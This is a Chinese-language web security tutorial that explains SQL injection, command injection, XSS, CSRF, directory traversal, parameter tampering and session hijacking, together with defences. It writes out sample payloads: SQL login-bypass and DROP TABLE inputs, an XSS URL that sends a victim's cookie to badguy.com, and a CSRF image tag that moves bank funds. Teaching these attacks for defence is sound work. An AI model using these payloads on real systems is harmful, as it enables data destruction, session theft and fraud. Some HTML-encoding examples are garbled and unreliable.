Web很脆弱，SQL注入要了解
發布日期：2012-12-26 10:11 來源：互聯網 作者：秩名 點擊：360 SQL注入
所謂SQL注入，就是通過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串，最終達到欺騙服務器執行惡意的SQL命令。
通過一下的例子更形象的了解SQL注入：
有一個Login畫面，在這個Login畫面上有兩個文本框分別用來輸入用戶名和密碼，當用戶點了登錄按鈕的時候，會對輸入的用戶名和密碼進行驗證。驗證的SQL語句如下：
select * from student where username='輸入的用戶名' and password='輸入的密碼'
如果能夠檢索到數據，說明驗證通過，否則驗證不通過。
如果用戶在用戶名文本框中輸入 ' or '1' = '1' or '1' = '1，則驗證的SQL語句變成：
select * from student where username='' or '1' = '1' or '1' = '1' and password=''
如果用戶在密碼文本框中輸入 1' or '1' = '1，則驗證的SQL語句變成：
select * from student where username='' and password='1' or '1'='1'
以上兩個SQL語句的where條件永遠是成立的，所以驗證永遠是有效的。
如果在用戶名文本框中輸入 tom' ; drop table student-- ，則SQL語句變成：
[sql] view plaincopyprint?
1. select * from student where username='tom' ; drop table student--' and password=''
這樣就變成的兩條SQL語句，執行完查詢操作，接著直接把student表給刪除了（雙連接符表示注釋）
如何防止SQL注入：
1. 永遠不要信任用戶的輸入。對用戶的輸入進行校驗，可以通過正則表達式，或限制長度；對單引號和雙"-"進行轉換等。
2. 永遠不要使用動態拼裝sql，可以使用參數化的sql或者直接使用存儲過程進行數據查詢存取
3. 永遠不要使用管理員權限的數據庫連接，為每個應用使用單獨的權限有限的數據庫連接
4. 不要把機密信息直接存放，加密或者hash掉密碼和敏感的信息
5. 應用的異常信息應該給出盡可能少的提示，最好使用自定義的錯誤信息對原始錯誤信息進行包裝
6. 采用一些工具或網絡平臺檢測是否存在SQL注入
OS命令注入
OS命令注入和SQL注入差不多，只不過SQL注入是針對數據庫的，而OS命令注入是針對操作系統的。OS命令注入即能夠在服務器上執行任意命令。
如何防止OS命令注入：
1. 不要調用外部程序。舉個例子，在UNIX系統上，有一個叫CGI的程序，可以執行sendmail命令來發送郵件。也許你的web應用程序也有發送郵件的功能，通過直接調用CGI程序發送郵件非常的簡單，但是不要這樣做，因為在執行sendmail命令的同時，也會混雜進其他OS命令，正確的做法是使用發送郵件的library。
2. 過濾調 、; ，[ ，] ，| ，< ，> ，\ 之類的符號
3. 設置用戶的權限
XSS跨站腳本攻擊
XSS跨站腳本攻擊指攻擊者在網頁中嵌入客戶端腳本(例如JavaScript)，當用戶瀏覽此網頁時，腳本就會在用戶的瀏覽器上執行，從而達到攻擊者的目的，比如獲取用戶的Cookie，導航到惡意網站，攜帶木馬等。
XSS攻擊場景有以下兩個方面：
1. Dom-Based XSS 漏洞。攻擊過程如下
Tom 發現了Victim.com中的Search.asp頁面有XSS漏洞，Search.asp的代碼如下：
1. <html>
2. <title></title>
3. <body>
4. Results for <%Reequest.QueryString("term")%>
5. ...
6. </body>
7. </html>
Tom 先建立一個網站http://badguy.com，用來接收“偷”來的信息。然后Tom 構造一個惡意的url(如下)，通過某種方式(郵件，QQ)發給Monica
http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>
Monica點擊了這個URL，嵌入在URL中的惡意Javascript代碼就會在Monica的瀏覽器中執行，那么Monica在victim.com網站的cookie，就會被發送到badguy網站中，這樣Monica在victim.com 的信息就被Tom盜了
2. Stored XSS(存儲式XSS漏洞)。該類型是應用廣泛而且有可能影響大Web服務器自身安全的漏洞，攻擊者將攻擊腳本上傳到Web服務器上，使得所有訪問該頁面的用戶都面臨信息泄露的可能。
攻擊過程如下
Alex發現了網站A上有一個XSS 漏洞，該漏洞允許將攻擊代碼保存在數據庫中，于是Alex發布了一篇文章，文章中嵌入了惡意JavaScript代碼。其他人如Monica訪問這片文章的時候，嵌入在文章中的惡意Javascript代碼就會在Monica的瀏覽器中執行，其會話cookie或者其他信息將被Alex盜走。
Dom-Based XSS漏洞威脅用戶個體，而存儲式XSS漏洞所威脅的對象將是大量的用戶。
如何防止XSS跨站腳本攻擊：
原則：不相信用戶輸入的數據
注意：攻擊代碼不一定在<script></script>中
1. 將重要的cookie標記為http only，這樣的話Javascript 中的document.cookie語句就不能獲取到cookie了
2. 只允許用戶輸入我們期望的數據。例如：年齡的textbox中，只允許用戶輸入數字，而數字之外的字符都過濾掉
3. 對數據進行Html Encode 處理。< 轉化為 <、> 轉化為 >、& 轉化為 &、' 轉化為 '、" 轉化為 "、空格 轉化為
4. 過濾或移除特殊的Html標簽。例如：<script>、<iframe>、< for <、> for >、" for
5. 過濾JavaScript 事件的標簽。例如 "onclick="、"onfocus" 等等
很多瀏覽器都加入了安全機制來過濾XSS（如下圖，在ie中輸入http://www.baidu.com/s?wd=<script>alert(document.cookie)</script>）
CSRF跨站請求偽造
CSRF（XSRF）盡管聽起來很想XSS跨站腳本攻擊，但是它于XSS完全不同。XSS是利用站點內的信任用戶，而CSRF則是通過偽裝來自受信任用戶的請求來利用受信任的站點。
與XSS相比，CSRF攻擊不大流行和難以防范，所以比XSS更具危險性。
以下是一個CSRF的例子
受害者 Bob 在銀行有一筆存款，通過對銀行的網站發送請求http://bank.example/withdraw?account=bob&amount=1000000&for=bob2可以使 Bob 把 1000000 的存款轉到 bob2 的賬號下。通常情況下，該請求發送到網站后，服務器會先驗證該請求是否來自一個合法的 session，并且該 session 的用戶 Bob 已經成功登陸。
黑客 Mallory 自己在該銀行也有賬戶，他知道上文中的 URL 可以把錢進行轉帳操作。Mallory 可以自己發送一個請求給銀行：http://bank.example/withdraw?account=bob& amount=1000000&for=Mallory。但是這個請求來自 Mallory 而非 Bob，他不能通過安全認證，因此該請求不會起作用。
這時，Mallory 想到使用 CSRF 的攻擊方式，他先自己做一個網站，在網站中放入如下代碼：<img src=”http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory” />。并且通過廣告等誘使 Bob 來訪問他的網站。當 Bob 訪問該網站時，上述 url 就會從 Bob 的瀏覽器發向銀行，而這個請求會附帶 Bob 瀏覽器中的 cookie 一起發向銀行服務器。大多數情況下，該請求會失敗，因為他要求 Bob 的認證信息。
但是，如果 Bob 當時恰巧剛訪問他的銀行后不久，他的瀏覽器與銀行網站之間的 session 尚未過期，瀏覽器的 cookie 之中含有 Bob 的認證信息。這時，悲劇發生了，這個 url 請求就會得到響應，錢將從 Bob 的賬號轉移到 Mallory 的賬號，而 Bob 當時毫不知情。等以后 Bob 發現賬戶錢少了，即使他去銀行查詢日志，他也只能發現確實有一個來自于他本人的合法請求轉移了資金，沒有任何被攻擊的痕跡。而 Mallory 則可以拿到錢后逍遙法外。
如何防止CSRF跨站請求偽造：
1. 對于web站點，將持久化的授權方法（例如cookie或者HTTP授權）切換為瞬時的授權方法（在每個form中提供隱藏field）。
2. “雙提交”cookie。此方法只工作于Ajax請求，但它能夠作為無需改變大量form的全局修正方法。如果某個授權的cookie在form post之前正被JavaScript代碼讀取，那么限制跨域規則將被應用。什么叫限制跨域規則呢？限制跨域規則就是：如果服務器需要在Post請求體或者URL中包含授權cookie的請求，那么這個請求必須來自于受信任的域，因為其它域是不能從信任域讀取cookie的。上面那個例子的受信任域就是銀行網站的某個域，而Mallory發給Bob的鏈接不是受信任的域。
3. 使用Post代替Get。Post方式不會在web服務器和代理服務器日志中留下數據尾巴，然而Get方式卻會留下數據尾巴。
4. 以上三點都是正對web站點的防御手段，第4點是從用戶的角度的防御手段。通過在瀏覽其它站點前登出站點或者在瀏覽器會話結束后清理瀏覽器的cookie來防止CSRF攻擊。
目錄遍歷漏洞
目錄遍歷漏洞在國內外有不同的叫法（信息泄露漏洞、非授權文件包含漏洞、等等）。目錄遍歷漏洞就是在程序中沒有過濾用戶輸入的../和./之類的目錄跳轉符，導致惡意用戶可以通過提交目錄跳轉來遍歷服務器上的任意文件，其危害可想而知。
如何防止目錄遍歷漏洞：
1. 權限控制
2. 對包含了惡意的符號或者空字節進行拒絕
3. 使用絕對路徑+參數來控制訪問目錄，使其即使是越權或者跨越目錄也是在指定的目錄下
參數篡改
參數值竄改是網絡攻擊的一種形式，其中在URL中的某些參數或由用戶輸入的網頁形式領域數據都在沒有得到用戶授權的情況下改變了。這導致瀏覽器指向一個不是用戶想去的鏈接、網頁或網站（盡管對隨機觀測者來說它們看上去幾乎一樣）。參數值篡改被犯罪者用來獲取個人或商業信息。
如何防止參數篡改：
1. 對所有參數值進行驗證
2. 根據session id進行遷移，參數使用服務器端的值
會話劫持
會話劫持就是在一次正常的會話過程當中，攻擊者作為第三方參與到其中，他可以在正常數據包中插入惡意數據，也可以在雙方的會話當中進行監聽，甚至可以是代替某一方主機接管會話。
我們可以把會話劫持攻擊分為兩種類型：
1）中間人攻擊(Man In The Middle，簡稱MITM)
2）注射式攻擊（Injection）
中間人攻擊：簡而言之，所謂的MITM攻擊就是通過攔截正常的網絡通信數據，并進行數據篡改和嗅探，而通信的雙方卻毫不知情
注射式攻擊：這種方式的會話劫持比中間人攻擊實現起來簡單一些，它不會改變會話雙方的通訊流，而是在雙方正常的通訊流插入惡意數據
還可以把會話劫持攻擊分為兩種形式：1）被動劫持，2）主動劫持
被動劫持：在后臺監視雙方會話的數據流，叢中獲得敏感數據
主動劫持：將會話當中的某一臺主機“踢”下線，然后由攻擊者取代并接管會話，這種攻擊方法危害非常大，攻擊者可以做很多事情
如何防止會話劫持：
1. 限制入網的連接
2. 設置你的網絡拒絕假冒本地地址從互聯網上發來的數據包
3. 加密也是有幫助的。FTP和Telnet協議是最容易受到攻擊的。SSH是一種很好的替代方法